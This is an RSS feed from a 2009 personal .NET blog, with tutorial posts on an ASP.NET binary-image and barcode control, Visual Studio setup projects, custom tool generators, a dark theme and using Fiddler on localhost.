<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ramy Mostafa</title>
	<atom:link href="http://www.ramymostafa.com/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://www.ramymostafa.com</link>
	<description>Just another WordPress weblog</description>
	<lastBuildDate>Fri, 11 Dec 2009 12:18:03 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>RBM Binary Image now displays barcode using Code39</title>
		<link>http://www.ramymostafa.com/?p=248</link>
		<comments>http://www.ramymostafa.com/?p=248#comments</comments>
		<pubDate>Fri, 11 Dec 2009 12:16:16 +0000</pubDate>
		<dc:creator>Ramy Mostafa</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[C#]]></category>

		<guid isPermaLink="false">http://www.ramymostafa.com/?p=248</guid>
		<description><![CDATA[<!-- Easy AdSense V2.58 -->
<!-- Post[count: 1] -->
<div class="ezAdsense adsense adsense-leadin" style="float:right;margin:12px;" ><script type="text/javascript"><!--
google_ad_client = "pub-1213643583738263";
/* 234x60 ezAdsense, created 11/25/08 */
google_ad_slot = "8050392339";
google_ad_width = 234;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></div><p><a style="font-size:18px;" href="http://www.ramymostafa.com/wp-content/RbmBinaryImage/RbmControls.zip">RBMBinaryImage Source Code</a></p>
<h2>Introduction</h2>
<p>It&#8217;s been a while since I lost wrote on my blog yesterday one of my friends was asking me how to display Barcode in asp.net, There is a great open source code written by Bart De Smet which could return a bar code image from a bar code string you could see his article <a title="Click Here Code 39" href="http://community.bartdesmet.net/blogs/bart/archive/2006/09/18/4432.aspx" target="_blank">here</a> I have just added to it one small option of whether or not to display the code under the bar code. The library returns an Image I thought of adding the display of bar code from the bar code string value, functionality to <a title="RBM Binary Image" href="http://www.ramymostafa.com/?p=187" target="_blank">RBMBinaryImage </a>would be cool.</p>
<h2>Using the Code</h2>
<p>The idea was simple since, the Code39 Library returns already an Image object so I only got it&#8217;s bytes and passed it to the <em>ImageContent</em> Property which is then rendered in the image. for more information on how the binary image display works in <em>RBMBinaryImage</em> please visit the <a title="RBM Binary Image Post" href="http://www.ramymostafa.com/?p=187" target="_blank">post here</a>. Again the usage of the control is still easy, to display the bar code you only need to set the <em>PrintBarcode </em>property to true, and pass the<em> BarCodeValue</em> the bar code as you could see below the DisplayThumbnail Property still is being applied on the bar code.</p>
<pre class="brush: html;">&lt;Rbm:RbmBinaryImage ID="RbmBinaryImage2" runat="server" PrintBarcode="true"Â  BarCodeValue='&lt;%# Eval("BarCode") %&gt;' DisplayThumbnail="true"Â Â  ThumbnailSize="160"Â  EmptyImageUrl="images/NoPhoto.JPG" /&gt;</pre>
<p>I have made one change to the HttpHandler to be with the extension of the <em><strong>.ashx</strong> </em>instead of the <em><strong>.rbm</strong> </em>extension to be standard</p>
<pre class="brush: html;">&lt;httpHandlers&gt;
&lt;add verb="GET" path="__RbmImageHandler.ashx" type="RbmControls.RbmImageHandler"/&gt;
&lt;/httpHandlers&gt;</pre>
<p>Finally, you could find the <a title="RbmControls.zip - RBM Binary Image" href="http://www.ramymostafa.com/wp-content/RbmBinaryImage/RbmControls.zip">code here</a></p>
]]></description>
			<content:encoded><![CDATA[<!-- Easy AdSense V2.58 -->
<!-- Post[count: 2] -->
<div class="ezAdsense adsense adsense-leadin" style="float:right;margin:12px;" ><script type="text/javascript"><!--
google_ad_client = "pub-1213643583738263";
/* 234x60 ezAdsense, created 11/25/08 */
google_ad_slot = "8050392339";
google_ad_width = 234;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></div><p><a style="font-size:18px;" href="http://www.ramymostafa.com/wp-content/RbmBinaryImage/RbmControls.zip">RBMBinaryImage Source Code</a></p>
<h2>Introduction</h2>
<p>It&#8217;s been a while since I lost wrote on my blog yesterday one of my friends was asking me how to display Barcode in asp.net, There is a great open source code written by Bart De Smet which could return a bar code image from a bar code string you could see his article <a title="Click Here Code 39" href="http://community.bartdesmet.net/blogs/bart/archive/2006/09/18/4432.aspx" target="_blank">here</a> I have just added to it one small option of whether or not to display the code under the bar code. The library returns an Image I thought of adding the display of bar code from the bar code string value, functionality to <a title="RBM Binary Image" href="http://www.ramymostafa.com/?p=187" target="_blank">RBMBinaryImage </a>would be cool.</p>
<div id="attachment_250" class="wp-caption alignnone" style="width: 303px"><a href="http://www.ramymostafa.com/wp-content/uploads/2009/12/RbmBinaryImageBarCode.jpg"><img class="size-medium wp-image-250" title="RbmBinaryImageBarCode" src="http://www.ramymostafa.com/wp-content/uploads/2009/12/RbmBinaryImageBarCode-293x300.jpg" alt="RbmBinaryImageBarCode" width="293" height="300" /></a><p class="wp-caption-text">Bar Code and Binary Image Screen shot</p></div>
<h2>Using the Code</h2>
<p>The idea was simple since, the Code39 Library returns already an Image object so I only got it&#8217;s bytes and passed it to the <em>ImageContent</em> Property which is then rendered in the image. for more information on how the binary image display works in <em>RBMBinaryImage</em> please visit the <a title="RBM Binary Image Post" href="http://www.ramymostafa.com/?p=187" target="_blank">post here</a>. Again the usage of the control is still easy, to display the bar code you only need to set the <em>PrintBarcode </em>property to true, and pass the<em> BarCodeValue</em> the bar code as you could see below the DisplayThumbnail Property still is being applied on the bar code.</p>
<pre class="brush: html;">&lt;Rbm:RbmBinaryImage ID="RbmBinaryImage2" runat="server" PrintBarcode="true"Â  BarCodeValue='&lt;%# Eval("BarCode") %&gt;' DisplayThumbnail="true"Â Â  ThumbnailSize="160"Â  EmptyImageUrl="images/NoPhoto.JPG" /&gt;</pre>
<p>I have made one change to the HttpHandler to be with the extension of the <em><strong>.ashx</strong> </em>instead of the <em><strong>.rbm</strong> </em>extension to be standard</p>
<pre class="brush: html;">&lt;httpHandlers&gt;
&lt;add verb="GET" path="__RbmImageHandler.ashx" type="RbmControls.RbmImageHandler"/&gt;
&lt;/httpHandlers&gt;</pre>
<p>Finally, you could find the <a title="RbmControls.zip - RBM Binary Image" href="http://www.ramymostafa.com/wp-content/RbmBinaryImage/RbmControls.zip">code here</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.ramymostafa.com/?feed=rss2&amp;p=248</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Uninstall Previous Version of .NET Application Automatically</title>
		<link>http://www.ramymostafa.com/?p=239</link>
		<comments>http://www.ramymostafa.com/?p=239#comments</comments>
		<pubDate>Sat, 18 Jul 2009 06:05:50 +0000</pubDate>
		<dc:creator>Ramy Mostafa</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[Demployment]]></category>
		<category><![CDATA[Setup]]></category>
		<category><![CDATA[uninstall]]></category>

		<guid isPermaLink="false">http://www.ramymostafa.com/?p=239</guid>
		<description><![CDATA[<!-- Easy AdSense V2.58 -->
<!-- Post[count: 3] -->
<div class="ezAdsense adsense adsense-leadin" style="float:right;margin:12px;" ><script type="text/javascript"><!--
google_ad_client = "pub-1213643583738263";
/* 234x60 ezAdsense, created 11/25/08 */
google_ad_slot = "8050392339";
google_ad_width = 234;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></div><table border="0">
<tbody>
<tr>
<td valign="top">To uninstall a previous version of a .net application automatically while installing the new version. you only need to set the RemovePreviousVersions to true and update the program version. This could be find in the properties of the setup project. check the screenshot below for demonestration</td>
<td valign="top"><a href="http://www.ramymostafa.com/wp-content/uploads/2009/07/uninstall.PNG"><img class="alignnone size-medium wp-image-240" title="uninstall" src="http://www.ramymostafa.com/wp-content/uploads/2009/07/uninstall-90x300.PNG" alt="uninstall" width="90" height="300" /></a></td>
</tr>
</tbody>
</table>
]]></description>
			<content:encoded><![CDATA[<table border="0">
<tbody>
<tr>
<td valign="top">To uninstall a previous version of a .net application automatically while installing the new version. you only need to set the RemovePreviousVersions to true and update the program version. This could be find in the properties of the setup project. check the screenshot below for demonestration</td>
<td valign="top"><a href="http://www.ramymostafa.com/wp-content/uploads/2009/07/uninstall.PNG"><img class="alignnone size-medium wp-image-240" title="uninstall" src="http://www.ramymostafa.com/wp-content/uploads/2009/07/uninstall-90x300.PNG" alt="uninstall" width="90" height="300" /></a></td>
</tr>
</tbody>
</table>
]]></content:encoded>
			<wfw:commentRss>http://www.ramymostafa.com/?feed=rss2&amp;p=239</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Rbm Visual Studio Eye Friendly DarkTheme</title>
		<link>http://www.ramymostafa.com/?p=225</link>
		<comments>http://www.ramymostafa.com/?p=225#comments</comments>
		<pubDate>Thu, 23 Apr 2009 09:55:54 +0000</pubDate>
		<dc:creator>Ramy Mostafa</dc:creator>
				<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[Dark Theme]]></category>
		<category><![CDATA[Theme]]></category>

		<guid isPermaLink="false">http://www.ramymostafa.com/?p=225</guid>
		<description><![CDATA[<p><a style="font-size:18px;" href="http://www.ramymostafa.com/wp-content/Rbm-DarkTheme.zip">Rbm-DarkTheme.zip</a> </p>
<h2>Introduction</h2>
<p>Recently I have passed through a very cool Theme For Visual Studio 2008 it&#8217;s called <a href="http://tanzimsaqib.com/my-eye-friendly-visual-studio-dark-theme/">TaznimSaqib-DarkTheme</a> I found it a very nice theme indeed and very comforting for my eyes so since I use Both Visual Studio 2008 and Visual Studio 2005 I decided to make a similar one for Visual Studio 2005. you could find a screenshot to the theme below</p>
<p><a rel="lightbox" href="http://www.ramymostafa.com/wp-content/uploads/2009/04/screenshotcode.jpg"><img class="alignnone size-full wp-image-226" title="screenshotcode" src="http://www.ramymostafa.com/wp-content/uploads/2009/04/screenshotcode.jpg" alt="screenshotcode" width="485" height="442" /></a></p>
<h2>Setting the Theme in Visual Studio</h2>
<p>For setting the theme click on tools -&gt; Import and Export</p>
<p>Then select Import Selected Environment Settings, In the next page select save my current settings and press next. Then browser for the settings file that you could download from above. Then select next then finish.</p>
<p>Hope you enjoy the theme and you find it cool to use. Share your thoughts <img src='http://www.ramymostafa.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></description>
			<content:encoded><![CDATA[<p><a style="font-size:18px;" href="http://www.ramymostafa.com/wp-content/Rbm-DarkTheme.zip">Rbm-DarkTheme.zip</a> </p>
<h2>Introduction</h2>
<p>Recently I have passed through a very cool Theme For Visual Studio 2008 it&#8217;s called <a href="http://tanzimsaqib.com/my-eye-friendly-visual-studio-dark-theme/">TaznimSaqib-DarkTheme</a> I found it a very nice theme indeed and very comforting for my eyes so since I use Both Visual Studio 2008 and Visual Studio 2005 I decided to make a similar one for Visual Studio 2005. you could find a screenshot to the theme below</p>
<p><a rel="lightbox" href="http://www.ramymostafa.com/wp-content/uploads/2009/04/screenshotcode.jpg"><img class="alignnone size-full wp-image-226" title="screenshotcode" src="http://www.ramymostafa.com/wp-content/uploads/2009/04/screenshotcode.jpg" alt="screenshotcode" width="485" height="442" /></a></p>
<h2>Setting the Theme in Visual Studio</h2>
<p>For setting the theme click on tools -&gt; Import and Export</p>
<p>Then select Import Selected Environment Settings, In the next page select save my current settings and press next. Then browser for the settings file that you could download from above. Then select next then finish.</p>
<p>Hope you enjoy the theme and you find it cool to use. Share your thoughts <img src='http://www.ramymostafa.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.ramymostafa.com/?feed=rss2&amp;p=225</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Running Fiddler on LocalHost</title>
		<link>http://www.ramymostafa.com/?p=221</link>
		<comments>http://www.ramymostafa.com/?p=221#comments</comments>
		<pubDate>Mon, 20 Apr 2009 11:18:03 +0000</pubDate>
		<dc:creator>Ramy Mostafa</dc:creator>
				<category><![CDATA[Fiddler]]></category>

		<guid isPermaLink="false">http://www.ramymostafa.com/?p=221</guid>
		<description><![CDATA[<p><a href="http://www.fiddler2.com/fiddler2/">Fiddler</a> is an awesome tool for Web Debugging which logs all HTTP(S) traffic between your computer and the Internet. To run fiddler on your localhost you could simply place a &#8220;.&#8221; after the localhost e.g. <strong>http://localhost:4433/MySite/</strong> => <strong>http://localhost.:4433/MySite/</strong> Notice the &#8220;.&#8221; after localhost however sometimes this doesn&#8217;t work on vista so you could try either putting your computer name instead of localhost or the loop back IP e.g <strong>http://127.0.0.1.:4433/MySite</strong> The &#8220;.&#8221; is still there after the IP.</p>
<p>Hope you enjoy it, please share your thoughts </p>
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.fiddler2.com/fiddler2/">Fiddler</a> is an awesome tool for Web Debugging which logs all HTTP(S) traffic between your computer and the Internet. To run fiddler on your localhost you could simply place a &#8220;.&#8221; after the localhost e.g. <strong>http://localhost:4433/MySite/</strong> => <strong>http://localhost.:4433/MySite/</strong> Notice the &#8220;.&#8221; after localhost however sometimes this doesn&#8217;t work on vista so you could try either putting your computer name instead of localhost or the loop back IP e.g <strong>http://127.0.0.1.:4433/MySite</strong> The &#8220;.&#8221; is still there after the IP.</p>
<p>Hope you enjoy it, please share your thoughts </p>
]]></content:encoded>
			<wfw:commentRss>http://www.ramymostafa.com/?feed=rss2&amp;p=221</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Deploying Custom Tool using a Setup Project</title>
		<link>http://www.ramymostafa.com/?p=210</link>
		<comments>http://www.ramymostafa.com/?p=210#comments</comments>
		<pubDate>Wed, 08 Apr 2009 13:51:53 +0000</pubDate>
		<dc:creator>Ramy Mostafa</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[Adding registry keys to setup projects]]></category>
		<category><![CDATA[Custom Tools]]></category>
		<category><![CDATA[Deploy Custom Tools]]></category>
		<category><![CDATA[Setup Project for Registering a dll library]]></category>

		<guid isPermaLink="false">http://www.ramymostafa.com/?p=210</guid>
		<description><![CDATA[<p><a style="font-size:18px;" href="http://www.ramymostafa.com/wp-content/CustomTool/CustomToolDeploymentForVisualStudio.zip">CustomToolDeploymentForVisualStudio.zip</a> </p>
<h2>Introduction</h2>
<p>Making a custom tool work on the developers machine require several actions like placing keys in the registry and registering your DLL Library using the regasm command. This post will discuss the automation of this procedures using a setup project. for more information on making your own custom tool visit my post <a href="http://www.ramymostafa.com/?p=204">Building a Custom Tool Generator For Visual Studio</a></p>
<h2>Using the Code</h2>
<p>First add a class in your CustomTool Library Project that inherits from the <code>Installer</code> class in this class override two methods the first is the <code>Install</code> Method the Second is the <code>Uninstall</code> method.</p>
<p>To Get the regasm.exe path you could use the <code>InteropServices.RuntimeEnvironment</code> class to get the runtime directory of the .NET framework. Then you need to get the assembly location. After that you could simply start the process of the regasm and pass to it the /codebase parameter and the path of the library.</p>
<pre class="brush: csharp;">
public override void Install(System.Collections.IDictionary stateSaver)
{
    base.Install(stateSaver);
    string regasmPath = System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() + @"regasm.exe";
    string componentPath = base.GetType().Assembly.Location;
    System.Diagnostics.Process.Start(regasmPath, "/codebase \"" + componentPath + "\"");
}
</pre>
<p>To uninstall remove the component registeration by the /unregister parameter</p>
<pre class="brush: csharp;">
public override void Uninstall(System.Collections.IDictionary savedState)
{
    base.Uninstall(savedState);
    string regasmPath = System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() + @"regasm.exe";
    string componentPath = base.GetType().Assembly.Location;
    System.Diagnostics.Process.Start(regasmPath, "/unregister \"" + componentPath + "\"");
}
</pre>
<h2>The Setup Project </h2>
<p>Now make a new setup project and add the output of the CustomTool Library to it. Then Right Click the setup project and select view then select custom actions.<br /><a rel="lightbox"  href="http://www.ramymostafa.com/wp-content/uploads/2009/04/customactions2.jpg"><img src="http://www.ramymostafa.com/wp-content/uploads/2009/04/customactions2.jpg" alt="customactions2" title="customactions2" width="248" height="255" class="alignnone size-full wp-image-212" /></a><br />
Then Add the CustomTool Project Output to the Install and Uninstall Sections as in the image below.<br />
<a rel="lightbox"   href="http://www.ramymostafa.com/wp-content/uploads/2009/04/customtoolsetup.jpg"><img src="http://www.ramymostafa.com/wp-content/uploads/2009/04/customtoolsetup-300x99.jpg" alt="customtoolsetup" title="customtoolsetup" width="300" height="99" class="alignnone size-medium wp-image-213" /></a><br />
ok now you need to add the registry values right click on the <strong>setup project</strong> and then <strong>View </strong>then select <strong>Registry</strong> To add the Needed Registry Values follow the structure in the figure below.<br />
<a rel="lightbox"   href="http://www.ramymostafa.com/wp-content/uploads/2009/04/customtoolregistry.jpg"><img src="http://www.ramymostafa.com/wp-content/uploads/2009/04/customtoolregistry-300x114.jpg" alt="customtoolregistry" title="customtoolregistry" width="300" height="114" class="alignnone size-medium wp-image-214" /></a></p>
<h2>Share your Thoughts</h2>
<p>Now all you have to do is just build the setup project <img src='http://www.ramymostafa.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  and you will have a setup deployment for your custom tool.<br />
please share your thoughts and feel free to drop any comments. Hope you enjoy the project.</p>
]]></description>
			<content:encoded><![CDATA[<p><a style="font-size:18px;" href="http://www.ramymostafa.com/wp-content/CustomTool/CustomToolDeploymentForVisualStudio.zip">CustomToolDeploymentForVisualStudio.zip</a> </p>
<h2>Introduction</h2>
<p>Making a custom tool work on the developers machine require several actions like placing keys in the registry and registering your DLL Library using the regasm command. This post will discuss the automation of this procedures using a setup project. for more information on making your own custom tool visit my post <a href="http://www.ramymostafa.com/?p=204">Building a Custom Tool Generator For Visual Studio</a></p>
<h2>Using the Code</h2>
<p>First add a class in your CustomTool Library Project that inherits from the <code>Installer</code> class in this class override two methods the first is the <code>Install</code> Method the Second is the <code>Uninstall</code> method.</p>
<p>To Get the regasm.exe path you could use the <code>InteropServices.RuntimeEnvironment</code> class to get the runtime directory of the .NET framework. Then you need to get the assembly location. After that you could simply start the process of the regasm and pass to it the /codebase parameter and the path of the library.</p>
<pre class="brush: csharp;">
public override void Install(System.Collections.IDictionary stateSaver)
{
    base.Install(stateSaver);
    string regasmPath = System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() + @"regasm.exe";
    string componentPath = base.GetType().Assembly.Location;
    System.Diagnostics.Process.Start(regasmPath, "/codebase \"" + componentPath + "\"");
}
</pre>
<p>To uninstall remove the component registeration by the /unregister parameter</p>
<pre class="brush: csharp;">
public override void Uninstall(System.Collections.IDictionary savedState)
{
    base.Uninstall(savedState);
    string regasmPath = System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() + @"regasm.exe";
    string componentPath = base.GetType().Assembly.Location;
    System.Diagnostics.Process.Start(regasmPath, "/unregister \"" + componentPath + "\"");
}
</pre>
<h2>The Setup Project </h2>
<p>Now make a new setup project and add the output of the CustomTool Library to it. Then Right Click the setup project and select view then select custom actions.<br /><a rel="lightbox"  href="http://www.ramymostafa.com/wp-content/uploads/2009/04/customactions2.jpg"><img src="http://www.ramymostafa.com/wp-content/uploads/2009/04/customactions2.jpg" alt="customactions2" title="customactions2" width="248" height="255" class="alignnone size-full wp-image-212" /></a><br />
Then Add the CustomTool Project Output to the Install and Uninstall Sections as in the image below.<br />
<a rel="lightbox"   href="http://www.ramymostafa.com/wp-content/uploads/2009/04/customtoolsetup.jpg"><img src="http://www.ramymostafa.com/wp-content/uploads/2009/04/customtoolsetup-300x99.jpg" alt="customtoolsetup" title="customtoolsetup" width="300" height="99" class="alignnone size-medium wp-image-213" /></a><br />
ok now you need to add the registry values right click on the <strong>setup project</strong> and then <strong>View </strong>then select <strong>Registry</strong> To add the Needed Registry Values follow the structure in the figure below.<br />
<a rel="lightbox"   href="http://www.ramymostafa.com/wp-content/uploads/2009/04/customtoolregistry.jpg"><img src="http://www.ramymostafa.com/wp-content/uploads/2009/04/customtoolregistry-300x114.jpg" alt="customtoolregistry" title="customtoolregistry" width="300" height="114" class="alignnone size-medium wp-image-214" /></a></p>
<h2>Share your Thoughts</h2>
<p>Now all you have to do is just build the setup project <img src='http://www.ramymostafa.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  and you will have a setup deployment for your custom tool.<br />
please share your thoughts and feel free to drop any comments. Hope you enjoy the project.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ramymostafa.com/?feed=rss2&amp;p=210</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Building a Custom Tool Generator For Visual Studio</title>
		<link>http://www.ramymostafa.com/?p=204</link>
		<comments>http://www.ramymostafa.com/?p=204#comments</comments>
		<pubDate>Tue, 07 Apr 2009 07:15:46 +0000</pubDate>
		<dc:creator>Ramy Mostafa</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[Visual Studio]]></category>
		<category><![CDATA[Custom Tool]]></category>
		<category><![CDATA[Generator]]></category>

		<guid isPermaLink="false">http://www.ramymostafa.com/?p=204</guid>
		<description><![CDATA[<p><a style="font-size:18px;" href="http://www.ramymostafa.com/wp-content/CustomTool/CustomToolForVisualStudio.zip">CustomToolForVisualStudio.zip</a> <br />
<a style="font-size:18px;" href="http://www.ramymostafa.com/wp-content/CustomTool/Microsoft.VisualStudio.BaseCodeGeneratorWithSite.dll">BaseCodeGeneratorWithSite.dll</a> </p>
<h2>Introduction</h2>
<p>Sometimes you need to generate your own code for some XML Files in your Visual Studio Project or replace the Resource File Generated Code of the Visual Studio with one of your the reason you may want to do this is that you may want to work with a custom resource provider while the generated code in .NET makes the static properties work only with the resource file.</p>
<h2>Using the Code</h2>
<p>First to do that you need to inherit from the <code>BaseCodeGeneratorWithSite</code> then generate a GUID for it from Tools -> Create Guid -> Then Select the Registry format and copy the guid to mark your class with this GUID Will let the Visual Studio later on know the class it should call. Then place a GUID and a ComVisible attributes on your class.</p>
<pre class="brush: csharp;">
    [Guid("A2A52B1B-48A1-45af-A30E-8D86E4DE0D79")]
    [ComVisible(true)]
    public class CustomToolGenerator : BaseCodeGeneratorWithSite
</pre>
<p>Then Override the <strong>GenerateCode</strong> Method</p>
<pre class="brush: csharp;">
   protected override byte[] GenerateCode(string inputFileName, string inputFileContent)
   {
        string code = "Generated Code Should Be Placed Here";
        return System.Text.Encoding.ASCII.GetBytes(code);
   }
</pre>
<p>If you want the namespace that the File is comming from it&#8217;s available in the &#8220;FileNameSpace&#8221; property of the <strong>BaseCodeGeneratorWithSite</strong> class.</p>
<p>In the <strong>AssemblyInfo.cs</strong> Class make the Assembly Com Visible by placing the following code in it</p>
<pre class="brush: csharp;">
[assembly: ComVisible(true)]
</pre>
<p>Generate a Strong Name Key for your project using the Visual Studio Command Prompt <strong>sn -k CustomToolForVisualStudio.snk</strong> and bind your project to it- Right Click on the project then select Properties then Select Signing and choose Sign the assembly property and select the Strong Name Key you have just generated</p>
<p>For Registering the Generator in the Visual Studio you need to place a reference to it in the Registry<br />
Visual Studio 2005<br />
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VisualStudio\8.0\Generators\<br />
Visual Studio 2008<br />
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VisualStudio\9.0\Generators\<br />
These are the sub keys for different languages they are named with their GUID you will go inside them<br />
<strong>{164B10B9-B200-11D0-8C61-00A0C91E29D5}: Visual Basic</strong> <br />
<strong>{E6FDF8B0-F3D1-11D4-8576-0002A516ECE8}: J#</strong> <br />
<strong>{FAE04EC1-301F-11D3-BF4B-00C04F79EFBC}: C#</strong> </p>
<p>Then Create a key with the name of your class and inside it place the following<br />
(Default): String: CustomToolGenerator (name of the custom tool) <br />
CLSID: String: {A2A52B1B-48A1-45af-A30E-8D86E4DE0D79}  (Generated Guid) <br />
GeneratesDesignTimeSource: DWORD: 1 </p>
<p>Now Register you Assembly using the <strong>resgen</strong> command in the Visual Studio Command Prompt</p>
<pre class="brush: csharp;">
regasm /codebase CustomToolForVisualStudio.dll
</pre>
<h2>Using the Custom Tool in Visual Studio</h2>
<p>Right Click on a Resource File or XML File and click properties then place in the CustomTool property the value &#8220;<strong>CustomToolGenerator</strong>&#8221;</p>
<p>The Custom Tool will now generate the code based on the code given in the &#8220;<strong>GenerateCode<br />
</strong>&#8221; Method.</p>
<p>Hope you like it <img src='http://www.ramymostafa.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Please share your thoughts</p>
]]></description>
			<content:encoded><![CDATA[<p><a style="font-size:18px;" href="http://www.ramymostafa.com/wp-content/CustomTool/CustomToolForVisualStudio.zip">CustomToolForVisualStudio.zip</a> <br />
<a style="font-size:18px;" href="http://www.ramymostafa.com/wp-content/CustomTool/Microsoft.VisualStudio.BaseCodeGeneratorWithSite.dll">BaseCodeGeneratorWithSite.dll</a> </p>
<h2>Introduction</h2>
<p>Sometimes you need to generate your own code for some XML Files in your Visual Studio Project or replace the Resource File Generated Code of the Visual Studio with one of your the reason you may want to do this is that you may want to work with a custom resource provider while the generated code in .NET makes the static properties work only with the resource file.</p>
<h2>Using the Code</h2>
<p>First to do that you need to inherit from the <code>BaseCodeGeneratorWithSite</code> then generate a GUID for it from Tools -> Create Guid -> Then Select the Registry format and copy the guid to mark your class with this GUID Will let the Visual Studio later on know the class it should call. Then place a GUID and a ComVisible attributes on your class.</p>
<pre class="brush: csharp;">
    [Guid("A2A52B1B-48A1-45af-A30E-8D86E4DE0D79")]
    [ComVisible(true)]
    public class CustomToolGenerator : BaseCodeGeneratorWithSite
</pre>
<p>Then Override the <strong>GenerateCode</strong> Method</p>
<pre class="brush: csharp;">
   protected override byte[] GenerateCode(string inputFileName, string inputFileContent)
   {
        string code = "Generated Code Should Be Placed Here";
        return System.Text.Encoding.ASCII.GetBytes(code);
   }
</pre>
<p>If you want the namespace that the File is comming from it&#8217;s available in the &#8220;FileNameSpace&#8221; property of the <strong>BaseCodeGeneratorWithSite</strong> class.</p>
<p>In the <strong>AssemblyInfo.cs</strong> Class make the Assembly Com Visible by placing the following code in it</p>
<pre class="brush: csharp;">
[assembly: ComVisible(true)]
</pre>
<p>Generate a Strong Name Key for your project using the Visual Studio Command Prompt <strong>sn -k CustomToolForVisualStudio.snk</strong> and bind your project to it- Right Click on the project then select Properties then Select Signing and choose Sign the assembly property and select the Strong Name Key you have just generated</p>
<p>For Registering the Generator in the Visual Studio you need to place a reference to it in the Registry<br />
Visual Studio 2005<br />
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VisualStudio\8.0\Generators\<br />
Visual Studio 2008<br />
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\VisualStudio\9.0\Generators\<br />
These are the sub keys for different languages they are named with their GUID you will go inside them<br />
<strong>{164B10B9-B200-11D0-8C61-00A0C91E29D5}: Visual Basic</strong> <br />
<strong>{E6FDF8B0-F3D1-11D4-8576-0002A516ECE8}: J#</strong> <br />
<strong>{FAE04EC1-301F-11D3-BF4B-00C04F79EFBC}: C#</strong> </p>
<p>Then Create a key with the name of your class and inside it place the following<br />
(Default): String: CustomToolGenerator (name of the custom tool) <br />
CLSID: String: {A2A52B1B-48A1-45af-A30E-8D86E4DE0D79}  (Generated Guid) <br />
GeneratesDesignTimeSource: DWORD: 1 </p>
<p>Now Register you Assembly using the <strong>resgen</strong> command in the Visual Studio Command Prompt</p>
<pre class="brush: csharp;">
regasm /codebase CustomToolForVisualStudio.dll
</pre>
<h2>Using the Custom Tool in Visual Studio</h2>
<p>Right Click on a Resource File or XML File and click properties then place in the CustomTool property the value &#8220;<strong>CustomToolGenerator</strong>&#8221;</p>
<p>The Custom Tool will now generate the code based on the code given in the &#8220;<strong>GenerateCode<br />
</strong>&#8221; Method.</p>
<p>Hope you like it <img src='http://www.ramymostafa.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Please share your thoughts</p>
]]></content:encoded>
			<wfw:commentRss>http://www.ramymostafa.com/?feed=rss2&amp;p=204</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Control to Display Binary Images in ASP.NET</title>
		<link>http://www.ramymostafa.com/?p=187</link>
		<comments>http://www.ramymostafa.com/?p=187#comments</comments>
		<pubDate>Tue, 31 Mar 2009 13:24:46 +0000</pubDate>
		<dc:creator>Ramy Mostafa</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[C#]]></category>
		<category><![CDATA[Binary Image]]></category>
		<category><![CDATA[Image From Database]]></category>

		<guid isPermaLink="false">http://www.ramymostafa.com/?p=187</guid>
		<description><![CDATA[<div>
<a style="font-size:18px;" href="http://www.ramymostafa.com/wp-content/RbmBinaryImage/RbmControls.zip">RBMBinaryImage Source Code</a></p>
<h2>Introduction</h2>
<p>The RbmBinaryImage control will help you display images directly from your database. You could bind the Image field directly to the ImageContent property, also you could specify whether you want the display to be as a thumbnail or not and provide the thumbnail size.</p>
